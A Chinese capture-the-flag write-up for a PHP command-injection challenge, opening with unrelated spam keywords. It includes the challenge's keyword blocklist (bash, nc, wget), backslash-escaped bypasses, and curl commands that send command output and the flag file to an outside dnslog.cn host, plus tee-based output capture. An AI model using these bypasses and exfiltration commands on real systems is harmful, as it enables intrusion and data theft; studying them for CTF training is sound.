金融做推广的网站,企业网站 的网络营销方法有,免费提升学历,沈阳正规网站建设哪家便宜[SWPUCTF 2021 新生赛]finalrce wp
注#xff1a;本文参考了 NSSCTF Leaderchen 师傅的题解#xff0c;并修补了其中些许不足。
此外#xff0c;参考了 命令执行(RCE)面对各种过滤#xff0c;骚姿势绕过总结
题目代码#xff1a; ?php
highlight_file(__FILE__);
…[SWPUCTF 2021 新生赛]finalrce wp
注本文参考了 NSSCTF Leaderchen 师傅的题解并修补了其中些许不足。
此外参考了 命令执行(RCE)面对各种过滤骚姿势绕过总结
题目代码 ?php
highlight_file(__FILE__);
if(isset($_GET[url]))
{$url$_GET[url];if(preg_match(/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\|\|\|\%|\$/i,$url)){echo Sorry,you cant use this.;}else{echo Can you see anything?;exec($url);}
} 过滤了一堆字符。
这道题的 exec 函数理应返回执行结果的最后一行但是却什么也不返回所以需要一些其他的方法来看到命令执行的结果。
过滤关键字的绕过
首先我们知道关键字被过滤时可以使用以下绕过方式
如 ls 被过滤可以替换为
lsl\s 等等。
但是由于 $ * 等字符被过滤了这里能用的恐怕只有前两种。
了解了这些之后来构造几种 payload 。
DNSlog 带外命令执行
DNS 的网站这里写一下
http://www.dnslog.cn
http://ceye.io
临时使用的话推荐去第一个网站。
curl ls.xf3njn.dnslog.cn用反引号执行 ls 命令执行的结果拼接到 xf3njn.dnslog.cn 域名上然后访问访问的日志可以在网站上看就可以看到命令执行的结果。 ls 执行的结果是 index.php 。
这样的话我们直接查找根目录下包含 “f” 的文件
curl l\s /|grep f.xf3njn.dnslog.cn返回结果 找到了。
查看 flag 文件
这里因为 “la” 也被过滤了所以多加了一个斜杠。
curl ca\t /flllll\aaaaaaggggggg.xf3njn.dnslog.cn返回结果中的大括号被去掉了自己加上另外把开头小写的 nssctf 改成大写就行了。
tee 关键字将结果保存到文件中
执行 ls 文件并将结果保存到当前目录的 1.txt 文件中
l\s|tee 1.txt执行这条命令后去访问http://node4.anna.nssctf.cn:28616/1.txt 就可以看到结果了 这里因为我之前执行过一次所以多了一个 1.txt 文件。
同理可以查看 flag
ca\t /flllll\aaaaaaggggggg|tee 2.txt拿到 flag 此外还有 tacheadtail 等命令也可以代替 cat 查看文件内容。